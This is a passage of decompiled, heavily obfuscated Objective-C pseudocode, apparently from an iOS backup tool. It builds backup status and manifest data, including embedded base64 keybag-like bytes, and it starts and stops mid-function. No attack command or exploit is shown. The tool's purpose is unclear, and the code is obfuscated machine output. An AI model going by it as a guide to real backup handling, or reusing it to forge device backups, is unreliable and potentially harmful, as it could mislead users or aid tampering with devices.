v5 = 773505232;
goto LABEL_147;
}
}
}
if ( v41 > 1315489630 )
break;
if ( v41 <= 682646360 )
{
if ( v41 <= 419455878 )
{
switch ( v41 )
{
case 377556487:
v8 = 1;
v4 = -763729909;
v9 = 2126463764;
goto LABEL_155;
case 386305398:
v8 = 1;
v4 = -1785494937;
v9 = 820791138;
goto LABEL_155;
case 400373864:
v49 = v35 == 0;
*v50 = -1772895086;
break;
}
}
else if ( v41 > 564150790 )
{
if ( v41 == 564150791 )
{
v31 = v37;
v4 = 1817515906;
goto LABEL_157;
}
if ( v41 == 640322274 )
*v50 = -1385261686;
}
else
{
if ( v41 == 419455879 )
{
v4 = 2067485591;
goto LABEL_157;
}
if ( v41 == 448618715 )
{
objc_msgSend(obj, v32, v46, v42, 16);
*v50 = -1536529856;
}
}
}
else if ( v41 > 1167348652 )
{
if ( v41 > 1279484250 )
{
if ( v41 == 1279484251 )
{
*v50 = 2124750873;
}
else if ( v41 == 1312944812 )
{
*v50 = 55793563;
}
}
else
{
if ( v41 == 1167348653 )
goto LABEL_118;
if ( v41 == 1246304600 )
{
v8 = 1;
v4 = -450614845;
goto LABEL_53;
}
}
}
else if ( v41 > 773505231 )
{
if ( v41 == 773505232 )
{
v48 = **v33 == v27;
*v50 = 1671930328;
}
else if ( v41 == 820791138 )
{
v3 = !v47;
v4 = 1167348653;
v5 = 419455879;
goto LABEL_147;
}
}
else
{
if ( v41 == 682646361 )
{
v3 = 0;
v4 = 448618715;
v5 = -1536529856;
goto LABEL_147;
}
if ( v41 == 710308999 )
{
objc_release(obj);
*v50 = 2067485591;
}
}
}
if ( v41 <= 1822111781 )
break;
if ( v41 > 1989425629 )
{
if ( v41 > 2124750872 )
{
if ( v41 == 2124750873 )
{
HikariFunctionWrapper_741_0(v43, v30);
objc_release(v34);
v19 = (v39 ^ 1) + 2 * (v39 & 1);
v20 = -1387210763;
if ( (id)v19 == v31 )
v20 = 682646361;
*v50 = v20;
v38 = v19;
}
else if ( v41 == 2126463764 )
{
v4 = 1279484251;
goto LABEL_157;
}
}
else
{
if ( v41 == 1989425630 )
goto LABEL_77;
if ( v41 == 2067485591 )
{
objc_release(obj);
v8 = 1;
v36 = (Class)&OBJC_CLASS___Mbdb;
v4 = 2067485591;
v9 = 97081364;
goto LABEL_155;
}
}
}
else if ( v41 > 1958886325 )
{
if ( v41 == 1958886326 )
{
*v50 = -1387210763;
v38 = 0;
}
else if ( v41 == 1979440479 )
{
HikariFunctionWrapper_751_0(obj);
*v50 = -795798588;
}
}
else
{
if ( v41 == 1822111782 )
{
v4 = 386305398;
goto LABEL_157;
}
if ( v41 == 1877059484 )
{
v2 = HikariFunctionWrapper_753_0(v43, "copy");
objc_msgSend(v44, "setRecords:", v2);
objc_release(v2);
objc_release(v43);
objc_autoreleaseReturnValue(v44);
*v50 = 250538593;
}
}
}
if ( v41 <= 1549273339 )
break;
if ( v41 > 1671930327 )
{
if ( v41 == 1671930328 )
{
v3 = !v48;
v4 = -764811047;
v5 = -1385261686;
LABEL_147:
if ( !v3 )
v4 = v5;
LABEL_157:
*v50 = v4;
}
else if ( v41 == 1817515906 )
{
v8 = 1;
v29 = "toRecord";
v30 = "addObject:";
v4 = 1319349661;
v9 = 1958886326;
goto LABEL_155;
}
}
else if ( v41 == 1549273340 )
{
*v50 = -994910784;
}
else if ( v41 == 1608922794 )
{
v6 = objc_alloc(v36);
v7 = HikariFunctionWrapper_745_0(v6, "init");
v8 = 0;
v44 = v7;
v4 = -1306287139;
LABEL_53:
v9 = 1608922794;
goto LABEL_155;
}
}
if ( v41 > 1427554880 )
break;
if ( v41 == 1315489631 )
{
v14 = 564150791;
if ( v49 )
v14 = 419455879;
*v50 = v14;
v37 = v35;
}
else if ( v41 == 1319349661 )
{
*v50 = 1817515906;
}
}
if ( v41 != 1427554881 )
break;
v10 = +[NSMutableArray array](&OBJC_CLASS___NSMutableArray, "array");
objc_retainAutoreleasedReturnValue(v10);
v11 = v46;
*(_OWORD *)v46 = 0;
*((_OWORD *)v11 + 1) = 0;
*((_OWORD *)v11 + 2) = 0;
*((_OWORD *)v11 + 3) = 0;
v12 = -[Backup files](self, "files");
v13 = objc_retainAutoreleasedReturnValue(v12);
HikariFunctionWrapper_749_0(v13, "countByEnumeratingWithState:objects:count:");
*v50 = -1994898519;
}
}
while ( v41 != 1447782965 );
return v44;
}
// 10025F7F0: using guessed type __objc2_class OBJC_CLASS___Mbdb;
//----- (000000010023FCCC) ----------------------------------------------------
id __cdecl -[Backup generateStatus](Backup *self, SEL a2)
{
bool v2; // zf
int v3; // eax
int v4; // ecx
NSDate *v5; // rax
id v6; // rax
NSDictionary *v7; // rax
bool v8; // cf
int v9; // ecx
NSData *v10; // rax
char v11; // cf
int v12; // ecx
NSData *v13; // rax
NSData *v14; // rbx
NSDate *v15; // rax
NSNumber *v16; // rax
NSDictionary *v17; // rax
NSDictionary *v18; // rax
__int64 v20; // [rsp+0h] [rbp-80h] BYREF
id v21; // [rsp+8h] [rbp-78h]
id v22; // [rsp+10h] [rbp-70h]
__int64 *v23; // [rsp+18h] [rbp-68h]
id v24; // [rsp+20h] [rbp-60h]
unsigned int v25; // [rsp+2Ch] [rbp-54h]
int v26; // [rsp+30h] [rbp-50h]
int v27; // [rsp+34h] [rbp-4Ch] BYREF
id v28; // [rsp+38h] [rbp-48h]
bool v29; // [rsp+45h] [rbp-3Bh]
char v30; // [rsp+46h] [rbp-3Ah]
char v31; // [rsp+47h] [rbp-39h]
int *v32; // [rsp+48h] [rbp-38h]
__int64 v33; // [rsp+50h] [rbp-30h]
v33 = -1;
v25 = -1634438223;
v27 = 1460194162;
v32 = &v27;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v27 <= -192241798 )
{
if ( v27 > -1106846260 )
{
if ( v27 > -683253387 )
{
if ( v27 > -428999827 )
{
if ( v27 == -428999826 )
{
v8 = 0;
v3 = 2064918741;
v9 = 1284905809;
goto LABEL_77;
}
if ( v27 == -379349143 )
*v32 = 78533686;
}
else if ( v27 == -683253386 )
{
*v32 = -1384505674;
}
else if ( v27 == -457461797 )
{
aI_12[0] = 110;
aI_12[1] = 101;
aI_12[2] = 119;
aI_12[3] = 0;
aN2[0] = 50;
aN2[1] = 46;
aN2[2] = 52;
aN2[3] = 0;
aYe[0] = 68;
aYe[1] = 97;
aYe[2] = 116;
aYe[3] = 101;
aYe[4] = 0;
strcpy(asc_10029D292, "SnapshotState");
asc_10029D265[0] = 85;
asc_10029D265[1] = 85;
asc_10029D265[2] = 73;
asc_10029D265[3] = 68;
asc_10029D265[4] = 0;
v8 = 1;
v30 = 102;
v3 = 1319876127;
v9 = -825335735;
goto LABEL_77;
}
}
else if ( v27 > -825335736 )
{
if ( v27 == -825335735 )
{
*v32 = 195980684;
}
else if ( v27 == -741938276 )
{
asc_10029D300[21] = v31 ^ 0x17;
asc_10029D300[22] = 48;
asc_10029D300[23] = 45;
asc_10029D300[24] = 48;
asc_10029D300[25] = 48;
asc_10029D300[26] = 48;
asc_10029D300[27] = 48;
asc_10029D300[28] = 48;
asc_10029D300[29] = 48;
asc_10029D300[30] = 48;
asc_10029D300[31] = 48;
asc_10029D300[32] = 48;
asc_10029D300[33] = 48;
asc_10029D300[34] = 48;
asc_10029D300[35] = 48;
asc_10029D300[36] = 0;
strcpy(aC2, "IsFullBackup");
strcpy(asc_10029D339, "BackupState");
aVe[0] = 86;
aVe[1] = 101;
aVe[2] = 114;
aVe[3] = 115;
aVe[4] = 105;
aVe[5] = 111;
aVe[6] = 110;
v11 = 1;
aVe[7] = 0;
v3 = -1394127090;
v12 = 229695238;
goto LABEL_82;
}
}
else
{
if ( v27 == -1106846259 )
{
v3 = -741938276;
goto LABEL_90;
}
if ( v27 == -1010612076 )
*v32 = -1106846259;
}
}
else if ( v27 > -1508719003 )
{
if ( v27 > -1394127091 )
{
if ( v27 == -1394127090 )
{
*v32 = -2037128708;
}
else if ( v27 == -1384505674 )
{
v8 = 1;
v26 = dword_10029F7EC;
v3 = -683253386;
v9 = -2012373007;
goto LABEL_77;
}
}
else
{
if ( v27 == -1508719002 )
{
v11 = 1;
v3 = -1434757494;
v12 = 1327867392;
goto LABEL_82;
}
if ( v27 == -1434757494 )
{
v3 = 1600694347;
goto LABEL_90;
}
}
}
else if ( v27 > -2037128709 )
{
if ( v27 == -2037128708 )
{
v11 = 1;
v3 = 2071950913;
v12 = -2069097347;
goto LABEL_82;
}
if ( v27 == -2012373007 )
*v32 = -138180063;
}
else
{
if ( v27 == -2130639679 )
{
v11 = 0;
v3 = 1319876127;
v12 = -457461797;
goto LABEL_82;
}
if ( v27 == -2069097347 )
{
dword_10029F7EC = 1;
*(&v20 - 6) = (__int64)CFSTR("\xACQ\x93\xAC\xBB\xF7\xBA\x8A\xED");
*(&v20 - 6) = (__int64)CFSTR("\x7F I\xBD");
*(&v20 - 5) = (__int64)CFSTR("\x18\aYe\xBF");
v5 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
*(&v20 - 5) = (__int64)objc_retainAutoreleasedReturnValue(v5);
*(&v20 - 4) = (__int64)CFSTR("C\x022\f%\xB7=\x95n&\x92\vc");
v6 = HikariFunctionWrapper_755_0(&OBJC_CLASS___NSNumber, "numberWithBool:");
*(&v20 - 4) = (__int64)objc_retainAutoreleasedReturnValue(v6);
*(&v20 - 3) = (__int64)CFSTR("\x13\xE8\x48\xB2j\xC1\x6Al\x13\x93\x16ÝX");
*(&v20 - 3) = (__int64)CFSTR("\r?\xE1\x3F\x98\xCE\x49\xB8\x02");
*(&v20 - 2) = (__int64)CFSTR("\x8A|\x0F\fw");
*(&v20 - 2) = (__int64)CFSTR("\x1A<\xEA\x7B\x42\xBD\x1D@\xAC\x80\xDA\xC5\x854EvtuB4\xACP\x86\x9A\xBFa\x82\xF5\xD5\x9F\x81\x94&\x9F\x81\xBD\x9D");
*(&v20 - 1) = (__int64)CFSTR("ve\x9E\x9AS+\xF8\xAC");
*(&v20 - 1) = (__int64)CFSTR("`Ň2");
v7 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
&v20 - 6,
&v20 - 6,
6);
objc_retainAutoreleasedReturnValue(v7);
*v32 = 2071950913;
}
}
}
if ( v27 > 1319876126 )
break;
if ( v27 > 78533685 )
{
if ( v27 > 229695237 )
{
if ( v27 == 229695238 )
{
asc_10029D300[21] = (v31 | 0x17) & (~v31 | 0xE8);
asc_10029D300[22] = 48;
asc_10029D300[23] = 45;
asc_10029D300[24] = 48;
asc_10029D300[25] = 48;
asc_10029D300[26] = 48;
asc_10029D300[27] = 48;
asc_10029D300[28] = 48;
asc_10029D300[29] = 48;
asc_10029D300[30] = 48;
asc_10029D300[31] = 48;
asc_10029D300[32] = 48;
asc_10029D300[33] = 48;
asc_10029D300[34] = 48;
asc_10029D300[35] = 48;
asc_10029D300[36] = 0;
strcpy(aC2, "IsFullBackup");
strcpy(asc_10029D339, "BackupState");
aVe[0] = 86;
aVe[1] = 101;
aVe[2] = 114;
aVe[3] = 115;
aVe[4] = 105;
aVe[5] = 111;
aVe[6] = 110;
aVe[7] = 0;
*v32 = -741938276;
}
else if ( v27 == 1284905809 )
{
v13 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v28,
200,
0,
0);
v14 = objc_retainAutoreleasedReturnValue(v13);
objc_release(v28);
objc_autoreleaseReturnValue(v14);
*v32 = 2064918741;
}
}
else if ( v27 == 78533686 )
{
objc_release(v22);
objc_release(v21);
*v32 = -428999826;
}
else if ( v27 == 195980684 )
{
v8 = 0;
v3 = -192241797;
v9 = 2043725604;
goto LABEL_77;
}
}
else if ( v27 > -10329223 )
{
if ( v27 == -10329222 )
{
v29 = v26 == 0;
v11 = 1;
v3 = 40298099;
v12 = 2133344282;
LABEL_82:
if ( !v11 )
v3 = v12;
LABEL_90:
*v32 = v3;
}
else if ( v27 == 40298099 )
{
*v32 = -1508719002;
}
}
else
{
if ( v27 == -192241797 )
{
asc_10029D2A9[0] = v30;
asc_10029D2A9[1] = 105;
asc_10029D2A9[2] = 110;
asc_10029D2A9[3] = 105;
asc_10029D2A9[4] = 115;
asc_10029D2A9[5] = 104;
asc_10029D2A9[6] = 101;
asc_10029D2A9[7] = 100;
asc_10029D2A9[8] = 0;
qmemcpy(asc_10029D300, "00000000-0000-0000-00", 21);
v8 = 1;
v31 = 39;
v3 = 2043725604;
v9 = -1010612076;
LABEL_77:
if ( v8 )
v3 = v9;
goto LABEL_90;
}
if ( v27 == -138180063 )
{
v3 = -10329222;
goto LABEL_90;
}
}
}
if ( v27 <= 2043725603 )
break;
if ( v27 > 2071950912 )
{
if ( v27 == 2071950913 )
{
dword_10029F7EC = 1;
v23 = &v20 - 6;
*(&v20 - 6) = (__int64)CFSTR("\xACQ\x93\xAC\xBB\xF7\xBA\x8A\xED");
*(&v20 - 6) = (__int64)CFSTR("\x7F I\xBD");
*(&v20 - 5) = (__int64)CFSTR("\x18\aYe\xBF");
v15 = +[NSDate date](&OBJC_CLASS___NSDate, "date");
v21 = objc_retainAutoreleasedReturnValue(v15);
*(&v20 - 5) = (__int64)v21;
*(&v20 - 4) = (__int64)CFSTR("C\x022\f%\xB7=\x95n&\x92\vc");
v16 = +[NSNumber numberWithBool:](&OBJC_CLASS___NSNumber, "numberWithBool:", 0);
v22 = objc_retainAutoreleasedReturnValue(v16);
*(&v20 - 4) = (__int64)v22;
*(&v20 - 3) = (__int64)CFSTR("\x13\xE8\x48\xB2j\xC1\x6Al\x13\x93\x16ÝX");
*(&v20 - 3) = (__int64)CFSTR("\r?\xE1\x3F\x98\xCE\x49\xB8\x02");
*(&v20 - 2) = (__int64)CFSTR("\x8A|\x0F\fw");
*(&v20 - 2) = (__int64)CFSTR("\x1A<\xEA\x7B\x42\xBD\x1D@\xAC\x80\xDA\xC5\x854EvtuB4\xACP\x86\x9A\xBFa\x82\xF5\xD5\x9F\x81\x94&\x9F\x81\xBD\x9D");
*(&v20 - 1) = (__int64)CFSTR("ve\x9E\x9AS+\xF8\xAC");
*(&v20 - 1) = (__int64)CFSTR("`Ň2");
v17 = +[NSDictionary dictionaryWithObjects:forKeys:count:](
&OBJC_CLASS___NSDictionary,
"dictionaryWithObjects:forKeys:count:",
v23,
&v20 - 6,
6);
v18 = objc_retainAutoreleasedReturnValue(v17);
v2 = 0;
v28 = v18;
v3 = 2071950913;
v4 = -379349143;
LABEL_88:
if ( !v2 )
v3 = v4;
goto LABEL_90;
}
if ( v27 == 2133344282 )
*v32 = -10329222;
}
else if ( v27 == 2043725604 )
{
asc_10029D2A9[0] = v30;
asc_10029D2A9[1] = 105;
asc_10029D2A9[2] = 110;
asc_10029D2A9[3] = 105;
asc_10029D2A9[4] = 115;
asc_10029D2A9[5] = 104;
asc_10029D2A9[6] = 101;
asc_10029D2A9[7] = 100;
asc_10029D2A9[8] = 0;
qmemcpy(asc_10029D300, "00000000-0000-0000-00", 21);
*v32 = -192241797;
}
else if ( v27 == 2064918741 )
{
v10 = +[NSPropertyListSerialization dataWithPropertyList:format:options:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"dataWithPropertyList:format:options:error:",
v28,
200,
0,
0);
v24 = objc_retainAutoreleasedReturnValue(v10);
objc_release(v28);
objc_autoreleaseReturnValue(v24);
v11 = 1;
v3 = 1428978885;
v12 = 2064918741;
goto LABEL_82;
}
}
if ( v27 > 1428978884 )
break;
if ( v27 == 1319876127 )
{
aI_12[0] = 110;
aI_12[1] = 101;
aI_12[2] = 119;
aI_12[3] = 0;
aN2[0] = 50;
aN2[1] = 46;
aN2[2] = 52;
aN2[3] = 0;
aYe[0] = 68;
aYe[1] = 97;
aYe[2] = 116;
aYe[3] = 101;
aYe[4] = 0;
strcpy(asc_10029D292, "SnapshotState");
asc_10029D265[0] = 85;
asc_10029D265[1] = 85;
asc_10029D265[2] = 73;
asc_10029D265[3] = 68;
asc_10029D265[4] = 0;
*v32 = -457461797;
}
else if ( v27 == 1327867392 )
{
*v32 = -1434757494;
}
}
if ( v27 == 1460194162 )
{
v8 = v25 < 0xD1E47C12;
v3 = -683253386;
v9 = -1384505674;
goto LABEL_77;
}
if ( v27 == 1600694347 )
{
v2 = !v29;
v3 = -2037128708;
v4 = -2130639679;
goto LABEL_88;
}
}
while ( v27 != 1428978885 );
return v24;
}
// 10029D370: using guessed type __CFString cfstr_N2;
// 10029D3B0: using guessed type __CFString stru_10029D3B0;
// 10029D3F0: using guessed type __CFString stru_10029D3F0;
// 10029D430: using guessed type __CFString cfstr_Ye;
// 10029D470: using guessed type __CFString stru_10029D470;
// 10029D4B0: using guessed type __CFString stru_10029D4B0;
// 10029D4F0: using guessed type __CFString cfstr_C2;
// 10029D530: using guessed type __CFString cfstr_I_12;
// 10029D570: using guessed type __CFString cfstr_Ve;
// 10029D5B0: using guessed type __CFString stru_10029D5B0;
// 10029F7EC: using guessed type int dword_10029F7EC;
//----- (00000001002416C9) ----------------------------------------------------
id __cdecl -[Backup generateManifest](Backup *self, SEL a2)
{
id v2; // rax
id v3; // rax
char v4; // cf
int v5; // eax
int v6; // ecx
bool v7; // zf
int v8; // ecx
id v9; // rax
id v10; // rax
char v11; // cf
int v12; // ecx
NSDictionary *v13; // rax
NSDictionary *v14; // r14
NSData *v15; // rax
NSData *v16; // rbx
_QWORD v18[2]; // [rsp+0h] [rbp-80h] BYREF
_QWORD *v19; // [rsp+10h] [rbp-70h]
id v20; // [rsp+18h] [rbp-68h]
int v21; // [rsp+24h] [rbp-5Ch]
int v22; // [rsp+28h] [rbp-58h]
int v23; // [rsp+2Ch] [rbp-54h] BYREF
id *v24; // [rsp+30h] [rbp-50h]
_QWORD *v25; // [rsp+38h] [rbp-48h]
bool v26; // [rsp+45h] [rbp-3Bh]
char v27; // [rsp+46h] [rbp-3Ah]
char v28; // [rsp+47h] [rbp-39h]
int *v29; // [rsp+48h] [rbp-38h]
__int64 v30; // [rsp+50h] [rbp-30h]
v30 = -1;
v21 = 342926943;
v23 = 1053918845;
v29 = &v23;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v23 > 9462664 )
{
if ( v23 <= 626057957 )
{
if ( v23 <= 194736977 )
{
switch ( v23 )
{
case 9462665:
*v29 = -1648877165;
break;
case 40512153:
v11 = 0;
v5 = 550641931;
v12 = 1059101884;
LABEL_72:
if ( !v11 )
v5 = v12;
goto LABEL_83;
case 165613275:
*v29 = -184459658;
break;
}
}
else if ( v23 > 550641930 )
{
if ( v23 == 550641931 )
{
aWd[1208] = v27 ^ 0x3C;
aWd[1209] = 85;
aWd[1210] = 81;
aWd[1211] = 65;
aWd[1212] = 65;
aWd[1213] = 65;
aWd[1214] = 65;
aWd[1215] = 81;
aWd[1216] = 69;
aWd[1217] = 66;
aWd[1218] = 112;
aWd[1219] = 103;
aWd[1220] = 75;
aWd[1221] = 79;
aWd[1222] = 122;
aWd[1223] = 57;
aWd[1224] = 84;
aWd[1225] = 110;
aWd[1226] = 105;
aWd[1227] = 56;
aWd[1228] = 70;
aWd[1229] = 57;
aWd[1230] = 107;
aWd[1231] = 109;
aWd[1232] = 83;
aWd[1233] = 88;
aWd[1234] = 100;
aWd[1235] = 48;
aWd[1236] = 115;
aWd[1237] = 69;
aWd[1238] = 78;
aWd[1239] = 77;
aWd[1240] = 81;
aWd[1241] = 86;
aWd[1242] = 77;
aWd[1243] = 65;
aWd[1244] = 65;
aWd[1245] = 65;
aWd[1246] = 65;
aWd[1247] = 69;
aWd[1248] = 65;
aWd[1249] = 65;
aWd[1250] = 65;
aWd[1251] = 65;
aWd[1252] = 67;
aWd[1253] = 70;
aWd[1254] = 100;
aWd[1255] = 83;
aWd[1256] = 81;
aWd[1257] = 86;
aWd[1258] = 65;
aWd[1259] = 65;
aWd[1260] = 65;
aWd[1261] = 65;
aWd[1262] = 65;
aWd[1263] = 69;
aWd[1264] = 65;
aWd[1265] = 65;
aWd[1266] = 65;
aWd[1267] = 65;
aWd[1268] = 65;
aWd[1269] = 48;
aWd[1270] = 116;
aWd[1271] = 85;
aWd[1272] = 87;
aWd[1273] = 86;
aWd[1274] = 65;
aWd[1275] = 65;
aWd[1276] = 65;
aWd[1277] = 65;
aWd[1278] = 65;
aWd[1279] = 69;
aWd[1280] = 65;
aWd[1281] = 65;
aWd[1282] = 65;
aWd[1283] = 65;
aWd[1284] = 65;
aWd[1285] = 70;
aWd[1286] = 100;
aWd[1287] = 81;
aWd[1288] = 83;
aWd[1289] = 49;
aWd[1290] = 107;
aWd[1291] = 65;
aWd[1292] = 65;
aWd[1293] = 65;
aWd[1294] = 65;
aWd[1295] = 111;
aWd[1296] = 53;
aWd[1297] = 109;
aWd[1298] = 120;
aWd[1299] = 86;
aWd[1300] = 111;
aWd[1301] = 121;
aWd[1302] = 78;
aWd[1303] = 70;
aWd[1304] = 103;
aWd[1305] = 80;
aWd[1306] = 77;
aWd[1307] = 122;
aWd[1308] = 112;
aWd[1309] = 104;
aWd[1310] = 89;
aWd[1311] = 104;
aWd[1312] = 109;
aWd[1313] = 49;
aWd[1314] = 86;
aWd[1315] = 71;
aWd[1316] = 56;
aWd[1317] = 70;
aWd[1318] = 104;
aWd[1319] = 115;
aWd[1320] = 105;
aWd[1321] = 110;
aWd[1322] = 47;
aWd[1323] = 120;
aWd[1324] = 88;
aWd[1325] = 43;
aWd[1326] = 114;
aWd[1327] = 54;
aWd[1328] = 109;
aWd[1329] = 67;
aWd[1330] = 100;
aWd[1331] = 57;
aWd[1332] = 103;
aWd[1333] = 66;
aWd[1334] = 121;
aWd[1335] = 70;
aWd[1336] = 53;
aWd[1337] = 83;
aWd[1338] = 120;
aWd[1339] = 101;
aWd[1340] = 111;
aWd[1341] = 108;
aWd[1342] = 65;
aWd[1343] = 73;
aWd[1344] = 84;
aWd[1345] = 47;
aWd[1346] = 73;
aWd[1347] = 67;
aWd[1348] = 70;
aWd[1349] = 49;
aWd[1350] = 86;
aWd[1351] = 86;
aWd[1352] = 83;
aWd[1353] = 85;
aWd[1354] = 81;
aWd[1355] = 65;
aWd[1356] = 65;
aWd[1357] = 65;
aWd[1358] = 65;
aWd[1359] = 81;
aWd[1360] = 114;
aWd[1361] = 102;
aWd[1362] = 75;
aWd[1363] = 66;
aWd[1364] = 50;
aWd[1365] = 117;
aWd[1366] = 80;
aWd[1367] = 83;
aWd[1368] = 81;
aWd[1369] = 116;
aWd[1370] = 87;
aWd[1371] = 104;
aWd[1372] = 56;
aWd[1373] = 50;
aWd[1374] = 121;
aWd[1375] = 120;
aWd[1376] = 54;
aWd[1377] = 119;
aWd[1378] = 52;
aWd[1379] = 66;
aWd[1380] = 111;
aWd[1381] = 85;
aWd[1382] = 78;
aWd[1383] = 77;
aWd[1384] = 81;
aWd[1385] = 86;
aWd[1386] = 77;
aWd[1387] = 65;
aWd[1388] = 65;
aWd[1389] = 65;
aWd[1390] = 65;
aWd[1391] = 69;
aWd[1392] = 65;
aWd[1393] = 65;
aWd[1394] = 65;
aWd[1395] = 65;
aWd[1396] = 67;
aWd[1397] = 86;
aWd[1398] = 100;
aWd[1399] = 83;
aWd[1400] = 81;
aWd[1401] = 86;
aWd[1402] = 65;
aWd[1403] = 65;
aWd[1404] = 65;
aWd[1405] = 65;
aWd[1406] = 65;
aWd[1407] = 69;
aWd[1408] = 65;
aWd[1409] = 65;
aWd[1410] = 65;
aWd[1411] = 65;
aWd[1412] = 65;
aWd[1413] = 48;
aWd[1414] = 116;
aWd[1415] = 85;
aWd[1416] = 87;
aWd[1417] = 86;
aWd[1418] = 65;
aWd[1419] = 65;
aWd[1420] = 65;
aWd[1421] = 65;
aWd[1422] = 65;
aWd[1423] = 69;
aWd[1424] = 65;
aWd[1425] = 65;
aWd[1426] = 65;
aWd[1427] = 65;
aWd[1428] = 65;
aWd[1429] = 70;
aWd[1430] = 100;
aWd[1431] = 81;
aWd[1432] = 83;
aWd[1433] = 49;
aWd[1434] = 107;
aWd[1435] = 65;
aWd[1436] = 65;
aWd[1437] = 65;
aWd[1438] = 65;
aWd[1439] = 111;
aWd[1440] = 53;
aWd[1441] = 105;
aWd[1442] = 97;
aWd[1443] = 121;
aWd[1444] = 90;
aWd[1445] = 66;
aWd[1446] = 119;
aWd[1447] = 99;
aWd[1448] = 82;
aWd[1449] = 97;
aWd[1450] = 49;
aWd[1451] = 99;
aWd[1452] = 49;
aWd[1453] = 77;
aWd[1454] = 77;
aWd[1455] = 120;
aWd[1456] = 55;
aWd[1457] = 118;
aWd[1458] = 104;
aWd[1459] = 54;
aWd[1460] = 108;
aWd[1461] = 79;
aWd[1462] = 89;
aWd[1463] = 117;
aWd[1464] = 120;
aWd[1465] = 51;
aWd[1466] = 111;
aWd[1467] = 68;
aWd[1468] = 73;
aWd[1469] = 47;
aWd[1470] = 98;
aWd[1471] = 100;
aWd[1472] = 120;
aWd[1473] = 70;
aWd[1474] = 67;
aWd[1475] = 87;
aWd[1476] = 49;
aWd[1477] = 87;
aWd[1478] = 72;
aWd[1479] = 67;
aWd[1480] = 81;
aWd[1481] = 82;
aWd[1482] = 47;
aWd[1483] = 85;
aWd[1484] = 98;
aWd[1485] = 49;
aWd[1486] = 77;
aWd[1487] = 79;
aWd[1488] = 118;
aWd[1489] = 43;
aWd[1490] = 81;
aWd[1491] = 97;
aWd[1492] = 89;
aWd[1493] = 70;
aWd[1494] = 86;
aWd[1495] = 86;
aWd[1496] = 83;
aWd[1497] = 85;
aWd[1498] = 81;
aWd[1499] = 65;
aWd[1500] = 65;
aWd[1501] = 65;
aWd[1502] = 65;
aWd[1503] = 81;
aWd[1504] = 105;
aWd[1505] = 76;
aWd[1506] = 88;
aWd[1507] = 118;
aWd[1508] = 75;
aWd[1509] = 51;
aWd[1510] = 113;
aWd[1511] = 118;
aWd[1512] = 81;
aWd[1513] = 122;
aWd[1514] = 97;
aWd[1515] = 47;
aWd[1516] = 109;
aWd[1517] = 101;
aWd[1518] = 97;
aWd[1519] = 53;
aWd[1520] = 105;
aWd[1521] = 110;
aWd[1522] = 115;
aWd[1523] = 115;
aWd[1524] = 47;
aWd[1525] = 48;
aWd[1526] = 78;
aWd[1527] = 77;
aWd[1528] = 81;
aWd[1529] = 86;
aWd[1530] = 77;
aWd[1531] = 65;
aWd[1532] = 65;
aWd[1533] = 65;
aWd[1534] = 65;
aWd[1535] = 69;
aWd[1536] = 65;
aWd[1537] = 65;
aWd[1538] = 65;
aWd[1539] = 65;
aWd[1540] = 67;
aWd[1541] = 108;
aWd[1542] = 100;
aWd[1543] = 83;
aWd[1544] = 81;
aWd[1545] = 86;
aWd[1546] = 65;
aWd[1547] = 65;
aWd[1548] = 65;
aWd[1549] = 65;
aWd[1550] = 65;
aWd[1551] = 69;
aWd[1552] = 65;
aWd[1553] = 65;
aWd[1554] = 65;
aWd[1555] = 65;
aWd[1556] = 65;
aWd[1557] = 48;
aWd[1558] = 116;
aWd[1559] = 85;
aWd[1560] = 87;
aWd[1561] = 86;
aWd[1562] = 65;
aWd[1563] = 65;
aWd[1564] = 65;
aWd[1565] = 65;
aWd[1566] = 65;
aWd[1567] = 69;
aWd[1568] = 65;
aWd[1569] = 65;
aWd[1570] = 65;
aWd[1571] = 65;
aWd[1572] = 65;
aWd[1573] = 70;
aWd[1574] = 100;
aWd[1575] = 81;
aWd[1576] = 83;
aWd[1577] = 49;
aWd[1578] = 107;
aWd[1579] = 65;
aWd[1580] = 65;
aWd[1581] = 65;
aWd[1582] = 65;
aWd[1583] = 111;
aWd[1584] = 68;
aWd[1585] = 50;
aWd[1586] = 119;
aWd[1587] = 72;
aWd[1588] = 88;
aWd[1589] = 55;
aWd[1590] = 75;
aWd[1591] = 114;
aWd[1592] = 105;
aWd[1593] = 69;
aWd[1594] = 101;
aWd[1595] = 49;
aWd[1596] = 69;
aWd[1597] = 51;
aWd[1598] = 49;
aWd[1599] = 122;
aWd[1600] = 55;
aWd[1601] = 83;
aWd[1602] = 81;
aWd[1603] = 55;
aWd[1604] = 47;
aWd[1605] = 43;
aWd[1606] = 65;
aWd[1607] = 86;
aWd[1608] = 121;
aWd[1609] = 109;
aWd[1610] = 99;
aWd[1611] = 112;
aWd[1612] = 65;
aWd[1613] = 82;
aWd[1614] = 77;
aWd[1615] = 89;
aWd[1616] = 110;
aWd[1617] = 81;
aWd[1618] = 103;
aWd[1619] = 101;
aWd[1620] = 103;
aWd[1621] = 116;
aWd[1622] = 90;
aWd[1623] = 68;
aWd[1624] = 48;
aWd[1625] = 77;
aWd[1626] = 113;
aWd[1627] = 50;
aWd[1628] = 85;
aWd[1629] = 53;
aWd[1630] = 53;
aWd[1631] = 117;
aWd[1632] = 120;
aWd[1633] = 119;
aWd[1634] = 78;
aWd[1635] = 114;
aWd[1636] = 50;
aWd[1637] = 70;
aWd[1638] = 86;
aWd[1639] = 86;
aWd[1640] = 83;
aWd[1641] = 85;
aWd[1642] = 81;
aWd[1643] = 65;
aWd[1644] = 65;
aWd[1645] = 65;
aWd[1646] = 65;
aWd[1647] = 81;
aWd[1648] = 47;
aWd[1649] = 81;
aWd[1650] = 57;
aWd[1651] = 102;
aWd[1652] = 101;
aWd[1653] = 90;
aWd[1654] = 120;
aWd[1655] = 76;
aWd[1656] = 83;
aWd[1657] = 43;
aWd[1658] = 43;
aWd[1659] = 113;
aWd[1660] = 83;
aWd[1661] = 101;
aWd[1662] = 47;
aWd[1663] = 97;
aWd[1664] = 52;
aWd[1665] = 101;
aWd[1666] = 109;
aWd[1667] = 82;
aWd[1668] = 82;
aWd[1669] = 69;
aWd[1670] = 78;
